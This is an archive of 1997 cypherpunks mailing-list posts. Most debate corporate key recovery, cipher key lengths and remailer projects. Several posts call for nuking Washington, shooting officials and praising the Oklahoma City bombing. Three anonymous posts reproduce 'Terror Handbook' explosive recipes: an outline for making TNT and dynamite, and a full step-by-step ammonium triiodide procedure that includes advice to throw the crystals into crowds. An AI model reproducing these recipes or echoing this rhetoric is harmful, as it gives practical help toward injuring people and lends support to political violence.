to have Jim Bell speak at InfoWarCon 96 :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 11 May 1997 23:29:31 +0800
To: cypherpunks@toad.com
Subject: Re: Disinformation in L.A.
In-Reply-To: <Pine.GSO.3.95.970511020618.12848B-100000@cp.pathfinder.com>
Message-ID: <19JJ7D18w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan McCullagh <declan@pathfinder.com> writes:

> On Sat, 10 May 1997, Duncan Frissell wrote:
> >
> > Tim was mostly talking about nuking the District of Columbia.  You will
> > note that that is an artificial community filled entirely with politicians
> > and their sycophants.
>
> Ahem!
>
> I note that Washington, DC occasionally even contains Duncan Frissells,
> Lucky Greens, and Sameer Parekhs.

Of the lot, I don't mind seeing Lucky G. and Sameer P. nuked.
I'd hope that Duncan F. and Declan M. happen to be travelling,
but the end result is worth it. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 11 May 1997 23:23:25 +0800
To: Cypherpunks@toad.com
Subject: Re: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <3.0.1.32.19970511101807.007a1b90@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 PM 5/10/97 -0600, you wrote:
>Blanc wrote:
>
>> Lately Tim has been making extremely dramatic death statements:   "Kill
>> them all...they are unworthy of life.", "... I
>> pray for the deaths of these criminals.",  "Washington is a cancer than can
>> only be cured with a few megatons of
>> nuclear disinfectant.", "May they all be vaporized.", etc.
>> 
>> These are definitely dark in mood and understandable; I also have violently
>> negative & despairing emotions about these people.   I just wouldn't ever
>> think of involving those who are innocent bystanders and happened to be in
>> the wrong place at the wrong time.
>
>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
>  Is someone who is in the military because of forced enscription at
>the point of a gun (with threats of imprisonment if they refuse) an 
>innocent bystander? When an invading force attacks your home, do you
>only shoot back at those who are there willingly?
>  How about those who willingly process and uphold the atrocities
>which the government commits upon its citizens? (Those who don't turn
>on the gas, but merely put them in the ovens {because the paperwork
>all seemed to be in order}.)
>
>  Were the children in the daycare center at the Federal Building
>at OK city innocent bystanders?
>  Then why, pray tell, did the government allow them to be placed
>in a building which was known to be a prime target of anti-government
>paramilitary idealists? Were they being used as a "shield" in the
>hopes that their presence would protect the others? Or were they
>there in order to provide sensational fodder for government response
>to the inevitable?
>  History bulges with examples of governments using their citizens
>as human shields by placing armament factories in residential areas
>and there are a multitude of other examples of government disregard
>for the lives of their citizens.
>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists. For the government to deny culpability in children
>being present at the bombing reeks of hypocrisy.
>
>> I know that critical times call for critical action, but I just don't
>> expect from anarchist libertarian cypherpunks that they would "throw
>> caution to the wind" (so to speak) and forget how to think about events and
>> actions in terms of specifics and utter precision.
>
>  The fact of the matter is that the government has declared war
>on the freedom and liberty of its citizens and passed draconian
>laws which prevent citizens from defending themselves from 
>government oppression. The government protects those participating
>in its crimes from having to pay a price for their complicity.
>  The government has a ruinous effect on the lives of millions
>of its citizens daily and is responsible for a mountain of deaths
>of "innocent people." Those taking part in the process should be
>made aware that there is a price to pay for their actions.
>
>  Should the Allied war against Nazi Germany have not taken place
>because "innocent" lives would be lost? Should the French Freedom
>fighters not have fought to free their country from occupation
>because "innocent bystanders" would die in the process?
>  Timothy McVeigh's position in history will likely belong in the
>hands of the winner of the war between the government and its
>citizens, but he is already considered a freedom fighter by more
>people than the government would like to admit. He has issued a
>wake-up call for those who think that they can remain nameless 
>and faceless in their complicity with government atrocities.
>
>  While I would have chosen a different approach and target for
>an attack, I will not pass moral judgement on McVeigh's actions.
>That is between himself and his conscience.
>  Tim McVeigh at least had the fortitude to act on his outrage
>over what he perceived as government injustice. What did others
>do over the outrageous tragedy at Waco? Mostly they just turned
>their heads away and tried to pretend that our government is not
>a murderer of men, women and children.
>  How many government employees quit in outrage, stating that
>they would not take part in such atrocities? How many took a
>vocal moral stand against their superiors, or exposed the
>government duplicity involved in the police action?
>
>  Nobody who turns their head is "innocent" and they cannot avoid
>their own responsibility if they choose to place their children
>in the line of fire as a result of their participation in crimes
>against the citizens.
>  Given the wide knowledge of the OK city Federal Building being
>a known target of anti-government forces, I think the placing of
>a daycare center there was the equivalent of military forces who
>cowardly advance with women and children in front of them. (And
>there are ample examples of this in history.)
>
>  Those in government express outrage at the barbarity of an
>individual citizen attacking his oppressors, but apparently are
>not outraged enough to stop their oppression.
>  The fact is that we have a police state whose power and abuse
>of power are growing by leaps and bounds because there has been
>no realistic amount of accountability attached to their actions.
>  This is an unnatural state of affairs and one that human nature
>will correct. When things become too far out of balance, then
>the universal laws of nature correct the situation. I believe that
>the dinosaurs learned this lesson, as well.
>
>TruthMonger
>
>
Citizens used to not take any of the government's crap.  After the
revolutionary war, if the governemt so much as wiped their asses sideways
without the citizens approval, people would let them know, vehemently.
Citizens need to do this more often.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 11 May 1997 16:38:00 +0800
To: cryptography@c2.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970511094853.29245D-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 8 May 1997, Kent Crispin wrote:
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you.

There are many similarities between your idea of a "key safe" for CAK
(corporate access to keys), and the idea espoused by Carl and others
of encrypting everything to a corporate key as well as to the other
recipients.


If the corporation expects to be successful at forcing it's staff to run
special software that talks to the CAK key safe, then the corporation
should also expect to be successful at forcing its staff to run special
software that adds the special coprorate key as a recipient of all
encrypted messages.

If the corporation expects to be successful at keeping the keys to the
CAK key safe secure, while still allowing an appropriate coalition of
high level managers to get access to the contents of the key safe,
then the corporation should also expect to be successful at keeping
the private part of the corporate key secure, while still allowing
an appropriate coalition of high level managers to use the special
corporate private key to decrypt messages.

If the coproration trusts those with access to the CAK key safe not to
abuse their access, then the corporation should also trust those with
access to the special corporate key not to abuse it.

> With this background, perhaps now you can see why I say that Carl's
> solution doesn't even address the problem.  The problem is management
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> What part of the organization that is Acme Corp is authorized to know
> this particular bit of information?

Whatever the answer to the latter question is, it's the same in the CAK
case as it is in the "encrypt to a special coprorate key" case.

> Because some of the employees are idiots you want this
> built automatically into the application they are using for
> encryption/email/whatever.  How does this software know what policy
> is appropriate for which employee?  How is that policy distributed?
> What is the interface that allows a policy to be defined?  How do you
> protect the policy definition from subversion?

The same problems arise in the CAK case.  And the same solution: you
make the user's software do the same thing every time, and implement the
policy elsewhere.

> Access to the key-safe is critical, of course, but it can be made very
> secure -- a special-purpose piece of hardware that requires passwords
> from n out of m key czars before access is granted, for example.
> Or the contents of the key safe can be encrypted via keys escrowed
> through a secret sharing mechanism

The same problems and solutions apply in both the CAK case and in the
"corporate key as extra crypto recipient" case.


Now, having spent some time attempting to show that the two cases are
almost identical in many respects, let me point out a few ways in which
I think encrypting to a special corporate key is better than CAK.

  - With CAK, the key safe contains at least a copy of every key used by
    every staff member.  All that needs to be kept secure.  This storage
    problem does not arise in the non-CAK case.

  - With CAK, every time a user creates a new key, the user's software
    needs to talk to teh key safe.  This needs a secure channel, which
    raises further authentication problems (how does the user know that
    he's not talking to a fake key safe).  These don't arise in the
    non-CAK case.

  - Once a CAK infrastructure is in place, it is likely to be easier
    for a government to impose GAK.  It's better not to set up the CAK
    infrastructure in the first place.

    To be fair, similar arguments apply to the "add an extra crypto
    recipient" case: just add two extra crypto recipients (corporate key
    and big-brother key).  But I think that the general public is more
    likely to understand what the government wants and to reject the
    idea in this case than in the GAK case.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 11 May 1997 23:27:46 +0800
To: jya@pipeline.com (John Young)
Subject: Re: Admin Feigns Back Off On Crypto Bill
In-Reply-To: <1.5.4.32.19970509195541.0090c6d0@pop.pipeline.com>
Message-ID: <199705111443.KAA08859@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


John Young wrote:
| BTW, another report claims that proposed new regs will allow 
| banks the special privilege of strong crypto if they come up 
| with an acceptable KMI within two years.

	This is entirely newspeak and nonsense to drive a 'flick the
switch' shift to GAK.

	Banks already have FINCEN, the IRS, and the FDIC constantly
deep inside their books for whatever purpose the Feds deem
appropriate.  There is absolutely zero call for KR within banks.  (I'm
assuming that an acceptable KMI means KR.  After all, the NSA wrote
the current banking KMI (X9.17, X9.9), and it doesn't seem to have any
KR in it.  The ABA wrote the latest revs of those specs to use 3des,
which seemingly takes them out of the realm of acceptable.)

	Analagous arguments can be made about brokerages and other
NBFIs and the SEC, or other branches of government.  I've heard a
story, may be urban legend, that the SEC recently sent someone to jail
on insider trading on the basis that his father made a huge profit on
a stock deal.  There was no phone or mail traffic recorded that would
indicate collusion.  Someone (Unicorn?) may have a reference.

Adam

-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Sun, 11 May 1997 17:28:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: key recovery vs data backup
In-Reply-To: <19970510233052.07440@bywater.songbird.com>
Message-ID: <Pine.NEB.3.95.970511105108.29245E-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Kent Crispin wrote:
> So PGP's multiple recipient feature is a fundamental building block,
> but you need something more in a crypto-client to be sure that company
> policy is followed.  It's that "somthing more" that is the hard part.
>
> And lest we get into the macho programmer argument -- of course it's
> just a mere matter of design and programming.

Yes.  And probably a lot less design and programming than the key-safe
mechanism.  (For example, PGP already has an "encrypt-to-self" option
that makes it add the user's own key as an additional crypto recipient
of all messages; changing that to the more general "encrypt to this list
of extra keys" should be quite easy.  But designing and building a key
safe sounds like a lot of work to me.)

Of coure, you trust the users not to use versions of PGP that do not
make the corporate key a recipient of all communications, right?  If
not, then you also don't trust them not to use keys that have not been
sent to the key safe in the CAK model.

> > If making policy decisions is too complex in your view for
> > implementation or practicality, well just substitute a policy
> > dumbed down to the level of the safe model.  Ie there is one crypto
> > recipient, all company communications _must_ be encrytped to it as a
> > second crypto recipient.
>
> You are right -- there is the degenerate case where the master key is
> fixed.  However, I would contend that is *very* bad crypto design.  So
> thus you have the problem of distributing information about a revoked
> master key.  (Your solution, below, was that you have a signed policy
> statement.  If you have a security breach, and are revoking a master
> key, how do you know what signature to trust?)

In the key-safe model, you have the problem o distributing information
about a change in location (network address) of the key safe, or a
change in the keys used to authenticate access to the key safe --
similar complexity in both models.

> Furthermore, by encrypting every document to the same master key you
> have actually vastly increased your exposure -- a key-safe can have a
> lot of special-purpose physical and cryptographic security, but the
> master key in the multiple recipient model is almost certainly treated
> the same as all other keys.

You can use special hardware to generate the key pair and to store the
private key -- again, similar issues and similar solutions in both
models.

> > I'm sure you can arrange this same flexibility and bring in the
> > baggage of the policy decisions that come with it for the safe
> > model also if you want it.  Store keys for different departments in
> > different safes.  Give the master keys for the department to the
> > department head, etc.,etc.  Same problem, similar policy decisions,
> > right?
>
> Nope.  Not at all.  The policy for multiple recipients needs to be
> interpreted by the crypto clients.  But in the key-safe model policy
> is almost entirely in human hands.  It doesn't even have to be written
> down.

In either model, you can have the users' software do the same thing
every time (talk to teh same key safe, or encrypt to the same additional
key every time); and in either model you can have the users' software
do different things depending on policies (talk to different key safes,
encrypt to different additional recipients).

It's unfair to say "but I choose to do the same thing every time, and
you choose to do different things every time, therefore my model is
simpler than yours".  In fact, both models are almost equally capable of
being used in either the simple way or teh complex way.

> Modestly secure example: The keysafe runs on a single workstation,
> hardened similar to a firewall.  The only network connections are to
> a single port, which does the cryptographically secure key storing
> protocol.  When a key needs to be recovered, three trusted employees
> troop into the room (three passwords are required, these passwords
> are essentially the master key), and retrieve the needed key on a
> floppy.  Other than the authentication protocol, there is *no* policy
> embedded in the key-safe, which is to say, *any* policy the company
> wants to use is ok.  It may take the personal presence of the company
> president, it may take a signed statement from operations staff,
> whatever.  No policy is embedded in software, and no software to
> support software needs to be written.

Again, the same scenario plays equally well in the
extra-crypto-recipient model.

> I spoke too soon here.  The key-safe model is intrinsically more
> secure.

I don't see how.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Monique Lamont" <alice0@hotmail.com>
Date: Tue, 13 May 1997 01:30:23 +0800
To: cypherpunks@cyberpass.net
Subject: whine politics again
Message-ID: <199705111833.LAA28472@f33.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain


on the subject of wine-importing restrictions in florida:

tcmay wrote:
> Chiles and his co-conspirators should be shot for high crimes > against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
> 
> Every day that passes, I'm more convinced that McVeigh did the right > thing.
> Some innocents died, but, hey, war is hell. Broken eggs and all > that.

oh yaah.  you betcha.

it's illegal to ship wine to floridans now, so therefore it is okay 
to execute the responsible officials and blow up innocents.

no doubt there are hundreds of cypherpunks out there nodding
their heads in blithe agreement at this point.

HELLO PEOPLE!  buy a clue from the Discount Clue Store, and 
while you are out, stop by the Jiffy Lube and get your
common human decency refilled.

love,

alice0



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 12 May 1997 00:37:37 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Disinformation in L.A.
In-Reply-To: <gZJJ7D17w165w@bwalk.dm.com>
Message-ID: <Pine.GSO.3.95.970511120544.23519C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Here's another good idea for a cypherpunks project: *don't* use the
Eternity Server to post even more bomb-making instructions all over the
Web and Usenet.

You might remember I wrote recently about the DoJ report released this
month that calls for new legislation to ban bomb-making info online. Now
Feinstein's office tells me she's going to introduce a bill. 

No need to throw red meat to the hounds.

(Hmmm. Looking back at my message, I'm essentially saying "censor
yourself or the government will." Not sure I like that argument.)

-Declan


On Sun, 11 May 1997, Dr.Dimitri Vulis KOTM wrote:

> By the way, here's a good idea for a cypherpunks project: use Adam's
> prototype eternity server to place some bomb-making instrctions all
> over the Web and Usenet.
> 
> Does anyone here know chemistry, besides Jim Bell, who's busy? Someone
> should update the Anarchist's Cookbook.
> 
> I bet the NCSA folks are kicking themselves for missing the opportunity
> to have Jim Bell speak at InfoWarCon 96 :-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:34:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111711.NAA21757@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>T.N.T.</TITLE>
<FONT SIZE=5>T.N.T</FONT>
<BR>
<BR>
<BR>
     T.N.T., or Tri-Nitro-Toluene, is perhaps the second oldest known high
explosive. Dynamite, of course, was the first. It is certainly the best known
high explosive, since it has been popularized by early morning cartoons. It
is the standard for comparing other explosives to, since it is the most well
known. In industry, a T.N.T. is made by a three step nitration process that is
designed to conserve the nitric and sulfuric acids which are used to make the
product. A terrorist, however, would probably opt for the less economical one
step method. The one step process is performed by treating toluene with very
strong (fuming) sulfuric acid. Then, the sulfated toluene is treated with very
strong (fuming) nitric acid in an ice bath. Cold water is added the solution,
and it is filtered.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:39:30 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111714.NAA21881@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>ammonium triiodide crystals</TITLE>
<FONT SIZE=5>AMMONIUM TRIIODIDE CRYSTALS</FONT>
<BR>
<BR>
<BR>
Ammonium triiodide crystals are foul-smelling purple colored crystals
that decompose under the slightest amount of heat, friction, or shock, if they
are made with the purest ammonia (ammonium hydroxide) and iodine.  Such
crystals are said to detonate when a fly lands on them, or when an ant walks
across them.  Household ammonia, however, has enough impurities, such as soaps
and abrasive agents, so that the crystals will detonate when thrown,crushed, or heated.  Upon detonation, a loud report is heard, and a cloud of purple iodine
gas appears about the detonation site.  Whatever the unfortunate surface that
the crystal was detonated upon will usually be ruined, as some of the iodine
in the crystal is thrown about in a solid form, and iodine is corrosive.  It
leaves nasty, ugly, permanent brownish-purple stains on whatever it contacts.
Iodine gas is also bad news, since it can damage lungs, and it settles to the
ground and stains things there also.  Touching iodine leaves brown stains on
the skin that last for about a week, unless they are immediately and vigorously
washed off.  While such a compound would have little use to a serious terrorist,
a vandal could utilize them in damaging property.  Or, a terrorist could throw
several of them into a crowd as a distraction, an action which would possibly
injure a few people, but frighten almost anyone, since a small crystal that
not be seen when thrown produces a rather loud explosion.  Ammonium triiodide
crystals could be produced in the following manner:
<BR>
<BR>
<HR>
<BR>
<PRE>
      MATERIALS                 EQUIPMENT
     

     -iodine crystals          -funnel and filter paper

                               -paper towels
     -clear ammonia
      (ammonium hydroxide,      -two throw-away glass jars
      for the suicidal)
</PRE>
<BR>
<HR>
<BR>
1) Place about two teaspoons of iodine into one of the glass jars.  The jars
   must both be throw away because they will never be clean again.
<BR><BR>
2) Add enough ammonia to completely cover the iodine.
<BR><BR>
3) Place the funnel into the other jar, and put the filter paper in the funnel.
   The technique for putting filter paper in a funnel is taught in every basic
   chemistry lab class: fold the circular paper in half, so that a semi-circle
   is formed.  Then, fold it in half again to form a triangle with one curved
   side.  Pull one thickness of paper out to form a cone, and place the cone
   into the funnel.
<BR><BR>
4) After allowing the iodine to soak in the ammonia for a while, pour the
   solution into the paper in the funnel through the filter paper.
<BR><BR>
5) While the solution is being filtered, put more ammonia into the first jar
   to wash any remaining crystals into the funnel as soon as it drains.
<BR><BR>
6) Collect all the purplish crystals without touching the brown filter paper,
   and place them on the paper towels to dry for about an hour.  Make sure that
   they are not too close to any lights or other sources of heat, as they could
   well detonate. While they are still wet, divide the wet material into about
   eight chunks.
<BR><BR>
7) After they dry, gently place the crystals onto a one square inch piece of
   duct tape.  Cover it with a similar piece, and gently press the duct tape
   together around the crystal, making sure not to press the crystal itself.
   Finally, cut away most of the excess duct tape with a pair of scissors, and
   store the crystals in a cool dry safe place.  They have a shelf life of
   about a week, and they should be stored in individual containers that can be
   thrown away, since they have a tendency to slowly decompose, a process which
   gives off iodine vapors, which will stain whatever they settle on.  One
   possible way to increase their shelf life is to store them in airtight
   containers.  To use them, simply throw them against any surface or place them
   where they will be stepped on or crushed.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Mon, 12 May 1997 01:37:38 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199705111715.NAA21921@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


<TITLE>dynamite</TITLE>
<FONT SIZE=5>DYNAMITE</FONT>
<BR>
<BR>
<BR>
     The name dynamite comes from the Greek word "dynamis", meaning power.
Dynamite was invented by Nobel shortly after he made nitroglycerine. It was
made because nitroglycerine was so dangerously sensitive to shock. A misguided
individual with some sanity would, after making nitroglycerine (an insane act)
would immediately convert it to dynamite. This can be done by adding various
materials to the nitroglycerine, such as sawdust. The sawdust holds a large
weight of nitroglycerine per volume. Other materials, such as ammonium nitrate
could be added, and they would tend to desensitize the explosive, and increase
the power.  But even these nitroglycerine compounds are not really safe.
<BR>
<HR>
<BR>
<I>From the Terror Handbook</I>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 07:05:33 +0800
To: Black Unicorn <cypherpunks@toad.com>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970511125644.006e96a8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:17 PM 5/10/97 -0400, Black Unicorn wrote:
>Yes.  One of the major stumbling blocks I have run into is a lack of code
>which really is refined and reviewed enough to serve the purposes I need
>it to serve. 

The reason for the lack of "refined and reviewed" code is simple. Writing
such  code is difficult and time consuming. Anybody on this list capable of
writing it probably has a 10+ hours daytime job. It is often hard to donate
the effort required into producing either a freeware system or a system
that has a shaky business model at best. Yes, the original code for type I
remailers was written in a few days. Their security is accordingly low,
interfaces were almost non-existent.

The type of software you seem to be interested in requires more than just a
single individual dedicating a few evenings to it. It requires entire
software development teams. That takes the development out of the realm of
guerilla programming and into commercial efforts. As PGP, Inc. can attest,
making money of strong crypto can be hard. That further limits the number
of players willing to dedicate time to such an effort.

>FC97 did a lot to make some more obscure things obvious, and
>familiarize the players with each other, but the details are often hard to
>come by.  Many of the applications out there are painfully behind in
>interface areas forcing developers to use complicated "toolkits" which
>often lack the basics we need. Finding an analogy to easily explain even
>the basics to a customer is very difficult unless the front end jibes with
>the attempt.

While I would have to agree that FC'97 was a very worthwhile event from the
human networking perspective, I am confused by your claim that the
"toolkits"  lack the basics you need. I assume you are talking about
routines in crypto libraries here. What routines do you need that aren't in
the crypto libs available? I am not claiming that crypto libs have all the
routines one might possibly need, but I would be surprised if they didn't
have the routines you need. Perhaps it would help if you would explain what
you are looking for.

Furthermore, crypto libraries are not meant to address interface design.
The interface design is up to the application developer.

>> Perhaps it's time for some stego interfaces to remailers.

Somehow I doubt they will be developed anytime soon. Only a very small
fraction   of remailer users wants to hide the fact that they are using
remailers and not also hide the fact that they are using crypto at all.

If you only want to hide remailer use,  but not crypto use, a Pipe-net like
system should suit you fine.

>Most of what concerns me is the need to keep keylengths "obscenely large"
>because what is obscene today may not be so obscene after 5 years of
>chilled crypto development.

I agree keylengths are an issue. An even larger issue are the properties of
ciphers. We don't know that breaking RSA is as difficult as factoring. We
just hope it is. And we definitely don't know that factoring can not be
done in polynomial time. Not to mention that we don't even know if P != NP.

>Given the success (or lack thereof) of my call to arms before, I'm not
>sure I'll be anxious to repeat it soon.  (The largest keylength of any
>widely used cipher of which I am aware remains at 128.

Not wanting to split hairs, but 3DES is 168 bits. But it is about twice as
strong as DES, so the effective keylength does not exceed 128 bits. 
Still, there is good reason why so few of the many ciphers out there are
actually being used for the high security applications. No cipher has been
as thoroughly analyzed as DES. And while 3DES is often called slow (which
is irrelevant unless you have to encrypt large amounts of data), it is
generally considered secure. If you need better than 3DES, you want larger
keylength while retaining the security of using a well analyzed cipher. I
am not aware of any such cipher today. Perhaps that's why it is used so
little. :-)

>  There still is no
>effective PipeNet, no real mainstream "stealth crypto."  No significant
>work on detering traffic analysis or denial of service with the exception
>of the below).

I disagree. Just because Cypherpunks have not announced the releases of a
finished product, tremendous progress has been made this year alone. And we
have found new allies, such as the Onion Router team from Navy Research Lab
and the CROWDS team from AT&T.

Sure, their systems are far from perfect and require further development.
Which is why several Cypherpunks, myself included, have been busy getting
the teams up to speed, teaching them about attack methods, explaining to
them why certain attacks they discounted as unlikely are actually easy to
pull off, and generally advising these non-CP subscribers with very CP
projects about modifications that must be made to the software before it
will see widespread deployment. Understand that NRL has three scientists
working on Onion Routers a  significant part of their time. With full
funding. This is the kind of commitment it takes to make the more advanced
systems a reality. A volunteer effort is considerably less likely to be
able to come up with the resources for the many projects that need design
and implementation.

Other Cypherpunks have been busy working on advanced systems, but this
stuff takes time. Writing a crypto library is comparatively easy. If your
DES code gives the right results for a given IV, the code works. Taking
that DES code and some RSA code and turning it into an Onion Router is a
whole different challenge. And any mistakes you make are far less obvious.
[...]
>An online bank is useless if it can be blocked by a few keystrokes.

No offense, but Adam's "Eternity" system doesn't come close to Ross
Anderson's original design. It is a fun weekend hack, but calling it the
Eternity Service is a very unfortunate choice of words. It isn't any more
Ross Anderson's Eternity Service than type I remailers are Chaumian mixes.

>(But that's what secure INMARSAT phones are for too)

And how do you feed the base station? I believe the solution to permanent
servers is more likely to come from the IETF's mobile IP efforts (again a
project that far exceeds what a few Cypherpunks can do) and from anonymous
server designs such as recently proposed by the usual suspects and others
who wish to remain anonymous.

[...]
>C'punks should wish to provide clandestine crypto services for the entire
>population.  Laws which may or may not pass in the United States should
>bore c'punks, because they should realize that legislation is irrelevent
>because the genie is already out of the bottle.  Unfortunately, I don't
>think the genie is all the way out of the bottle.

Clandestine anything, almost by definition, will never reach the entire
population, but only those that are willing to go out and seek it. [If it
was openly available, it wouldn't be clandestine.]

PGP became as popular as it did because it could be used with zero
investment by any two parties, requiring only minimum connectivity. Truly
secure net anonymizers will need, at least at the backbone level, multiple
dedicated machines with fat 24/7 Internet connections in multiple
jurisdictions.  That's a significant investment. Such sites are not going
to become a reality out of the goodness of somebody's heart. Even in the
unlikely event that somebody has the time to write all the code for free.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 07:01:53 +0800
To: Kent Crispin <unicorn@schloss.li>
Subject: Re: The War is Underway (fwd)
Message-ID: <3.0.32.19970511130456.0071d4b4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 04:10 PM 5/10/97 -0700, Kent Crispin wrote:

>Hence the value of the "Crypto is Cool" approach.  A valuable addition
>would be crypto packages designed for high school kids.  All my many
>nieces and nephews are on the net...

I usually don't reply to these kind of posts, but since you have mentioned
this before and since you obviously still don't deem it appropriate to get
yourself up to speed by reading the archives, your idea has been discussed
and tried.

People won't use crypto unless it is either transparent, meaning put there
*for* them by the OS vendor/application developer or because the see a need
for using it. The few fanatics that use crypto because "it is cool" are
inconsequential when the objective is bringing crypto to the masses.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 12 May 1997 06:59:56 +0800
To: cypherpunks@toad.com
Subject: Re: War & InfoWar
Message-ID: <3.0.32.19970511131820.0072e670@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:15 PM 5/10/97 CST, TruthMonger wrote:

>  The government has prosecuted dozens of individuals for planning
>to bomb the OK city Federal Building (including executed murderers).
>It has long been listed as a target of choice for anti-government
>paramilitarists.

Can somebody confirm this? Cite?

Thanks,


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Mon, 12 May 1997 01:43:48 +0800
To: "Mark M." <markm@voicenet.com>
Subject: Re: The War is Underway (fwd)
In-Reply-To: <Pine.LNX.3.95.970510192350.2999A-100000@purple.voicenet.com>
Message-ID: <Pine.SUN.3.96.970511125117.9012O-100000@polaris.mindport.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 10 May 1997, Mark M. wrote:

> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Sat, 10 May 1997, Black Unicorn wrote:
> 
> > The amount of confusion over what represents a good algorithm is also
> > interesting.  Take CAST, which seems a promising cipher and which we
> > considered using over IDEA.
> > 
> > On asking 4 "experts" about CAST, I got 4 answers.
> > 
> > 1>  A 64 bit cipher with 40 bits secret.
> > 2>  A 64 bit cipher - not expected to be very complete.
> > 3>  A 128 bit cipher.
> > 4>  "Not worth discussing."
> > 
> > In fact, as I understand it, CAST is of variable key length (Up to 128
> > bits), and quite resistant to many attacks which plague DES and even IDEA.
> > 
> > But digging out that information was painfully difficult.  (It may not
> > even be correct).
> 
> According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
> block length and 64-bit key length.  So far, brute force is the only known
> attack.
> 
> As far as "obscenely large" key lengths are concerned, 3-key triple DES
> uses a 168-bit key.

As I recall, 3des ( DESk1 -> DESk2^-1 -> DESk3 ) has an effective
keylength of 112 bits.  Less than IDEA.  Schneier discusses this.

> Using large key sizes for passphrase-based systems is difficult, because
> it's just too difficult to remember a passphrase with enough entropy to
> make a difference.  Assuming a random passphrase with 6 bits of entropy
> per character, over 21 characters would have to be used for there to be
> 128 bits of entropy.

I dislike this line of argument for several reasons.  It reduces security
to the lowest common denominator.  Because, the argument goes, few people 
will use more than a 21 character passphrase, then we need not design
anything with more security.

In reality, I think that the percentage of people who use more than an 8
character passphrase, especially outside these circles, is small.
Following your logic, our high end of security should be about 48 bits.

> Systems that use randomly generated keys are
> limited only by the amount of available entropy, but then the passphrase
> security to encrypt the secret key or physical security become important.
